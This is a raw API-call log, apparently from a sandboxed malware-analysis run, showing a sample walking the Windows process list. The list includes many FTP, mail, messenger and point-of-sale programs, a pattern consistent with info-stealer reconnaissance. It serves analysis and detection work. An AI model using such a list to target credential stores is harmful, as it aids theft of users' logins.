cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.159] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.161] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.165] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.168] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.170] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.173] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.175] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.178] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.180] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.183] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.185] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.187] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0128.190] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.192] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.194] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0128.197] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0128.199] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0128.201] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0128.204] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0128.206] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0128.209] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0128.212] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.214] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0128.217] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0128.219] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0128.224] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0128.226] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.228] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0128.230] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0128.233] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0128.236] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0128.238] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0128.240] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0128.242] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0128.249] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0128.252] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0128.255] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0128.257] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0128.260] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0128.262] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0128.266] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0128.285] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0128.288] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0128.291] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0128.293] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0128.295] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0128.298] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0128.300] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0128.302] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0128.305] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0128.308] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0128.311] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0128.314] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0128.317] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0128.320] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0128.323] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0128.326] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0128.330] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0128.333] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0128.335] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0128.338] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0128.342] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0128.345] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0128.348] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0128.351] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0128.354] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0128.357] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0128.360] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0128.363] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0128.367] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0128.370] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0128.379] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0128.381] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0128.385] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0128.388] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0128.390] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0128.393] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0128.396] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0128.399] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0128.401] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0128.404] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0128.406] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0128.409] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0128.412] Process32Next (in: 